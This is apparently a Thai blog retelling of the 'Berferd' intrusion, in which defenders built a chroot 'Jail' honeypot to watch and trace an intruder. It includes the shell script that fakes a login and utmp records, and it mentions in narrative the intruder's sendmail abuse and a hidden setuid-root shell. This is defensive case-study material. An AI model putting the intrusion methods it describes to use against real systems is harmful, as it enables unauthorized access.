  1. setupsucker login

SUCKERROOT=/usr/spool/hacker

login=`echo $CDEST | cut -f4 -d!` # extract login from service name
home=`egrep "^$login:" $SUCKERROOT/etc/passwd | cut -d: -f6`

PATH=/v:/bsd43:/sv; export PATH
HOME=$home; export HOME
USER=$login; export USER
SHELL=/v/sh; export SHELL
unset CSOURCE CDEST # hide these Datakit strings

#get the tty and pid to set up the fake utmp
tty=`/bin/who | /bin/grep $login | /usr/bin/cut -c15-17 | /bin/tail -1`
/usr/adm/uttools/telnetuseron /usr/spool/hacker/etc/utmp $login $tty $$ 1>/dev/null 2>/dev/null

chown $login /usr/spool/hacker/dev/tty$tty 1>/dev/null 2>/dev/null
chmod 622 /usr/spool/hacker/dev/tty$tty 1>/dev/null 2>/dev/null

/etc/chroot /usr/spool/hacker /v/su -c "$login" /v/sh -c "cd $HOME;
exec /v/sh /etc/profile"
/usr/adm/uttools/telnetuseroff /usr/spool/hacker/etc/utmp $tty >/dev/null 2>/dev/null

เชลล์สคริปท์(shell script) setupsucker ที่ทำเลียนแบบคำสั่ง login ซึ่งเต็มไปด้วยกลเม็ดมากมาย เราต้องทำให้ตัวแปรของสภาพแวดล้อม (environment variable) ดูสมเหตุสมผลและพยายามที่จะดูแลในส่วนของ utmp เราพยายามที่จะไม่ให้มีข้อผิดพลาดในสคริปท์เพื่อไม่ให้แฮกเกอร์เห็น

ขั้นแรก ผมไม่มีเครื่องสำรอง ผมจึงต้องใช้เส้นทางซอฟท์แวร์(software route)แทน มันไม่ใช่วิธีที่ง่าย และผมก็ไม่แนะนำด้วย

ผมได้ปรึกษากับผู้เชี่ยวชาญด้านยูนิกซ์เกี่ยวกับความปลอดภัยของสภาพแวดล้อมของ chroot พวกเขาให้ข้อสรุปว่ามันไม่ปลอดภัยอย่างสมบูรณ์ถ้าไม่มีคอมไพเลอร์และโปรแกรมบางโปรแกรม แต่สภาพแวดล้อมแบบ chroot ไม่สามารถตรวจพบได้ ผมสังเกตได้ว่า Berferd มักรีบเร่งอยู่เสมอและอาจไม่สังเกตก็ได้ พวกเราได้สร้าง chroot "Jail" (หรือ "roach motel") พวกเราทำให้การติดต่อที่มีการบันทึกไปสู่ Jail ให้ผ่านจากไฟร์วอลของเรา แอกเคาท์ Berferd และ guest ถูกเชื่อมโยงไปยัง Jail โดยผ่านข้อกำหนดนี้

มีการบันทึกสองไฟล์ต่อหนึ่งการติดต่อ แต่ละไฟล์สำหรับสิ่งที่ป้อนเข้าไปและสิ่งที่ได้ออกมา โดยไฟล์ที่บันทึกจะมีเวลาเริ่มต้นและเวลาสิ้นสุดกำกับไว้ด้วย Jail ยากต่อการเซ็ตอัปมาก เราจำเป็นต้องได้เวลาในการเข้าถึง(access time)ใน /dev ที่ถูกต้องและต้องอัปเดทไฟล์ utmp สำหรับผู้ที่ใช้ Jail ไฟล์ที่อยู่ในดิสก์หลายไฟล์ ที่อันตรายเกินกว่าที่จะปล่อยทิ้งไว้ เราเอาโปรแกรม ps, who, w, netstat และโปรแกรมอื่น ๆ ที่เปิดเผยข้อมูลสำคัญของระบบออกไป ส่วนเชลล์สคริปท์ "login" จำเป็นที่ จะต้องจำลอง login ในหลาย ๆ วิธี Diana D'Angelo เซ็ตอัประบบไฟล์ (file system)ที่น่าเชื่อถือ มีไฟล์ที่ไร้ประโยชน์และไฟล์ชั่วคราวหลายหลายชนิด Paul Glick ทำให้ระบบ utmp ทำงานได้

ในเวลาต่อมาเพียงไม่นาน Berferd ได้ค้นพบ Jail และสำรวจไปทั่ว เขามองหาโปรแกรมเป็นจำนวนมากซึ่งเราเรียนรู้ในเวลาต่อมาว่า มีช่องโหว่ทางด้านความปลอดภัยที่เขาชอบใช้ สำหรับพวกเราแล้ว Jail ไม่ได้ทำให้พวกเราเลื่อมใสมันนักหรอก แต่สำหรับ Berferd แล้วดูเหมือนเขาจะเลิกสนใจมันในฐานะที่มันเป็นส่วนหนึ่งของความแปลกของเกตเวย์ของเรา

ตามรอย Berferd

Berferd ทุ่มเทเวลาให้กับ Jail ของพวกเรามาก ส่วนเราใช้เวลาส่วนมากไปกับการปรึกษากับ Stephen Hansen ผู้บริหารระบบที่ Stanford เขาทุ่มเทเวลาให้กับการ พยายามตามรอย Berferd โจมตีพวกเราโดยผ่านเครื่องของ Stanford เขาติดต่อไปยังเครื่องเหล่านี้จากเทอร์มินัลเซิร์ฟเวอร์(terminal server) ผ่านเทอร์มินัลเซิร์ฟเวอร์ และติดต่อกับเทอร์มินัลเซิร์ฟเวอร์ผ่านทางสายโทรศัพท์

เราตรวจสอบเวลาที่เขาล๊อกอินเข้ามาเพื่อคาดเดาช่วงเวลาที่เขาอาศัยอยู่ ตารางข้างล่างนี้แสดงให้เห็นถึงกราฟแบบง่าย ๆ ที่พวกเราได้ทำขึ้นจากการติดต่อเริ่มต้นของเขา (PST) ดูเหมือนว่าเขาอาจใช้เวลาในตอนกลางคืนในช่วงฝั่งตะวนออกของสหรัฐ ฯ แต่ก็มีเวลาอื่น ๆ ด้วยเช่นกัน ทำให้การวิเคราะห์ไม่มีประโยชน์มากนัก แต่ก็มีคุณค่าควรแก่การลอง

1 2
Jan 012345678901234567890123
s 19 x
s 20 xxxx
m 21 x x xxxx
t 22 xxxxx x
w 23 xx x xx x xx
t 24 x x
f 25 x xxxx
s 26
s 27 xxxx xx x
m 28 x x x
t 29 x xxxx x
w 30 x
t 31 xx
Feb 012345678901234567890123
f 1 x x x
s 2 x xx xxx
s 3 x x xxxx x
m 4 x

กราฟแสดงเวลาในการทำกิจกรรมของ Berferd เป็นกราฟที่พลีอตขึ้นหยาบ ๆ เพื่อแสดงให้เห็นเวลา

การต่อสู้ของ Stanford กับ Berferd ก็เป็นเรื่องอีกเรื่องหนึ่งทั้งเรื่อง Berferd ทำให้เกิดความวุ่นวาย ทำลายเครื่องคอมพิวเตอร์จำนวนมากและพยายามหาช่องโหว่ในเครื่องอื่น ๆ เพื่อการบุกรุก เขาโจมตีเครื่องอื่น ๆ อีกมากมายทั่วโลกจากที่นี่ ซึโตมุ ชิโมมุระได้ดัดแปลง tcpdump เพื่อให้มันสามารถบันทึกเวลาลงไปในการบันทึกแต่ละแพ็คเกตด้วย ทำให้เขาสามารถนำการบันทึกการติดต่อตามเวลาจริงมาดูใหม่ได้ พวกเขาทำได้ดีมากในการหยุดการโจมตีของ Berferd ภายในไม่กี่นาทีที่เขาล๊อกอินเข้าสู่เครื่องใหม่ ครั้งหนึ่งพวกเขาเฝ้าดูการกระทำของ Berferd โดยใช้คำสั่ง ps ชื่อ login ของเขาเปลี่ยนเป็น uucp แล้วจึงเปลี่ยนเป็น bin ก่อนที่เครื่องจะมีปัญหาเกี่ยวกับดิสก์ การดักจับ สัญญาณการติดต่อช่วยได้มากในหลายกรณี ถึงแม้ว่าพวกเขาไม่สามารถเฝ้าดูเน็ตเวิร์คทั้งหมดของ Stanford ได้

ใน ตอนต้นของการโจมตี Wietse Venema จาก Eindhoven University ได้ติดต่อกับเจ้าหน้าที่ของ Stanford เขาได้ติดตามการบุกรุกเข้าสู่ระบบอื่นในประเทศเนเธอร์แลนด์ มากกว่าหนึ่งปีมาแล้ว เขามั่นใจมากว่าเขารู้ตัวผู้โจมตีรวมทั้ง Berferd ด้วย

ในที่สุดการติดต่อเชื่อมโยงหลาย ๆ อย่างก็ถูกตามรอย พวกเขาตามรอยกลับไปถึงวอชิงตัน โปรตุเกตุ และท้ายสุดที่เนเธอร์แลนด์ บริษัทโทรศัพท์ของเนเธอร์แลนด์ได้ปฏิเสธการติดตาม ผู้ใช้โทรศัพท์เนื่องจากการบุกรุกระบบคอมพิวเตอร์ไม่ผิดกฏหมาย ประเทศเนเธอร์แลนด์และไม่มีสนธิสัญญาที่เกี่ยวข้องกับเนเธอร์แลนด์ (สนธิสัญญาต้องอาศัยการปฏิบัติการของ สถานทูตและการรับรองจากโดยสมาชิกวุฒิสภาของสหรัฐ ฯ ซึ่งไกลเกินเป้าหมายที่เราต้องการ)

ปีต่อมากลุ่มแฮกเกอร์เดียวกันนี้ได้ทำให้ระบบคอมพิวเตอร์ของเนเธอร์แลนด์เกิดความเสียหาย เจ้าหน้าที่ในประเทศจึงได้นำกฏหมายมาปรับใช้กับกรณีนี้ หลังจากนั้นประเทศ เนเธอร์แลนด์จึงได้ผ่านกฏหมายที่บัญญัติ ให้การบุกรุกเข้าสู่ระบบคอมพิวเตอร์เป็นการกระทำที่ผิดกฏหมาย

Berferd ใช้คอมพิวเตอร์ของ Stanford เพื่อเป็นฐานในการโจมตีเป็นเวลาหลายเดือน ไฟล์ที่บันทึกการกระทำของเขา มีขนาดใหญ่เป็นสิบเมกกะไบต์ เขายังคงยืนกรานที่จะ เจาะคอมพิวเตอร์ซึ่งเป็นงานที่น่าเบื่อหน่ายต่อไป หลังจากได้แอกเคาท์ในเครื่องนั้นแล้ว เขาจะพยายามต่อไปเพื่อให้สิทธิ์ของผู้บริหารระบบในเครื่องนั้น Berferd มีข้อมูลที่ดี เกี่ยวกับช่องโหว่ของซอฟท์แวร์ เขารู้พารามิเตอร์คำสั่งของโปรแกรม sendmail ที่ไม่เป็นที่รู้จักและใช้มันได้อย่างถูกต้อง (sendmail บางเวอร์ชันมีช่องโหว่สำหรับยูสเซอร์ ที่ล๊อกอินเข้าไปในระบบด้วยเช่นกัน ทำไมโปรแกรมที่มีขนาดใหญ่และซับซ้อนเช่นนี้จึงต้องถูกรันโดย root ด้วย ?) เครื่องที่เขาบุกรุกเข้าไปแล้วนั้นจะมีเชลล์สคริปท์ที่สามารถ เซ็ต UID ๊(user id) จากยูสเซอร์ธรรมดาให้เป็น root ได้ โดยเขามักจะเก็บมันไว้ที่ /usr/lib/term/.s

Berferd กลับมาอีกครั้ง

ในหนังสือพิมพ์ New York Times ฉบับวันอาทิตย์ที่ 21 เมษายน คศ.1991 John Markoff ได้เขียนเรื่องราวเกี่ยวกับ Berferd เขาเขียนไว้ว่า เจ้าหน้าที่ได้ตามล่าแฮกเกอร์ ชาวดัทช์หลายคน แต่ไม่สามารถฟ้องร้องพวกเขาได้เนื่องจาก การบุกรุกระบบคอมพิวเตอร์ไม่ผิดกฏหมายของประเทศเนเธอร์แลนด์

กลุ่มแฮกเกอร์ได้รับรู้ถึงบทความนี้ภายในวันเดียวหรือนานกว่านั้น Wietse ได้รวบรวมอีเมลที่ส่งถึงกันระหว่างสมาชิกหลายคน ของชุมชนแฮกเกอร์ชาวดัทช์ เป็นที่กระจ่างว่าพวกเขาเป็นคนที่ทำให้เกิดเรื่องราวที่เขาเข้าใจว่าเครื่องของพวกเราได้รับความเสียหาย เพื่อนคนหนึ่งของ Berferd รู้สึกแปลกใจที่หนังสือพิมพ์ไม่ได้กล่าวถึงคอมพิวเตอร์ของพวกเราในรายชื่อของคอมพิวเตอร์ที่ได้ รับความเสียหาย

ในวันที่ 1 พฤษภาคม Berferd เข้ามาใน Jail ของเรา ในขณะนั้นพวกเราจำเขาจากความเร็วในการกดคีย์บอร์ดและการพิมพ์ ผิดพลาดของเขาและคำสั่งที่เขาใช้เพื่อตรวจสอบระบบ เขาค้นหาช่องโหว่ในคอมพิวเตอร์มากมาย ในขณะที่เขาใช้คำสั่ง whois เพื่อดูชนิดของโฮสต์และเป้าหมายใหม่ ๆ

เขาไม่ได้บุกรุกคอมพิวเตอร์เครื่องใดที่เขาพยายามจาก Jail ของเรา จากหนึ่งร้อยไซต์กว่า ๆ ที่เขาโจมตี มีสามไซต์ที่รู้ถึงความ พยายามในการโจมตีและติดต่อเข้ามายังเราโดยเจ้าหน้าที่รักษาความปลอดภัยคอมพิวเตอร์ที่จริงจังมาก ผมอธิบายให้พวกเขาเข้าใจ ว่าแฮกเกอร์พวกนี้เราไม่สามารถไปจัดการอะไรได้ เท่าที่ผมรู้ สิ่งที่ดีที่สุดที่พวกเราสามารถทำได้คือการบันทึกกิจกรรมที่เขาได้ ทำลงไปและนำไปให้ผู้ที่ตกเป็นเป้าหมายของเขา Berferd มีฐานสำหรับโจมตีมากมาย เป็นเพราะการยืนกรานที่จะทำต่อไปและ โชคที่ทำให้การกระทำทุกอย่างของเขาถูกบันทึกเอาไว้แล้ว

ผู้ บริหารระบบของไซต์ที่ถูกโจมตีไม่ควรที่จะพึ่งพากับไฟล์ที่บันทึกการโจมตีของ แคร็กเกอร์เพียงอย่างเดียว เพราะมันจะนำไปสู่ การสรุปที่ไม่ชัดเจน การควบคุมความเสียหายง่ายกว่าการรอให้เกิดความเสียหายจริง ๆ ถ้าผู้บริหารระบบของคอมพิวเตอร์ที่ถูก บุกรุกไม่ได้ทำระบบการบันทึกไว้ในระบบก็ควรโหลดระบบขึ้นมาใหม่จากเทปแม่ เหล็กหรือซีดีรอม

ผู้บริหารระบบและฝ่ายจัดการของไซต์ที่ถูกโจมตีเห็นด้วยกับผมและขอร้องให้พวกเราเปิด Jail เอาไว้

จากการร้องขอของฝ่ายการจัดการของเรา ผมได้ปิดการทำงานของ Jail เมื่อวันที่ 3 พฤษภาคม Berferd พยายามที่จะเข้าถึง มันสองสามครั้งแล้วจึงเลิกไป เขาย้ายกิจกรรมของเขาไปที่คอมพิวเตอร์ที่ถูกบุกรุกที่สวีเดนแทน

พวกเราไม่มีวิธีที่เป็นทางการสำหรับการตามตัวและหยุด Berferd ที่จริงแล้วพวกเราโชคดีที่รู้ว่าเขาเป็นใคร ทั้งที่ผู้บริหารระบบ ส่วนใหญ่จะไม่มีวิธีค้นหาว่าใครเป็นผู้โจมตีพวกเขา

ท้ายที่สุดพวกเพื่อนของเขาได้ชะลอการกระทำลงไปเมื่อ Wietse Venema ได้ติดต่อกับแม่ของหนึ่งในพวกเขา

สิ่งอื่น ๆ ที่เห็นได้ชัดจากความเข้าใจในเหตุการณ์หลังเกิดเหตุ สิ่งแรกที่สำคัญคือ เราไม่รู้ล่วงหน้าว่าจะต้องทำอย่างไรกับแฮกเกอร์ พวกเราตัดสินใจตามที่พวกเราเห็นพ้องกัน และพยายามใช้ผู้บุกรุกให้เป็นประโยชน์ การตัดสินใจที่มีความสำคัญมากคือ การให้ Berferd ใช้ส่วนหนึ่งของเครื่องพวกเราโดยผ่าน Jail ซึ่งไม่ได้รับการสนับสนุนจากฝ่ายจัดการ

พวกเรายังมีเครื่องมืออีกเล็กน้อยด้วย สคริปท์ที่พวกเราใช้ และตัว Jail เองที่เราสร้างขึ้นมาอย่างรีบเร่ง มันมีข้อผิดพลาดที่อาจทำให้ Berferd รู้ตัว ดังนั้นไซต์ที่ต้องการเฝ้าดูแฮกเกอร์ควรเตรียมเครื่องให้พร้อมล่วงหน้า รวมทั้งการซื้อฮาร์ดแวร์ที่จำเป็นด้วย

อันที่จริง มีเพียงการเตรียมการอย่างดีอย่างเดียวเท่านั้นที่เราทำเสร็จคือการเซ็ตอัปการบันทึกระบบ จริง ๆ แล้วเราไม่พร้อมนักหรอก

เขียนโดย Pom infosec.sran.org

Unless otherwise stated, the content of this page is licensed under Creative Commons Attribution-ShareAlike 3.0 License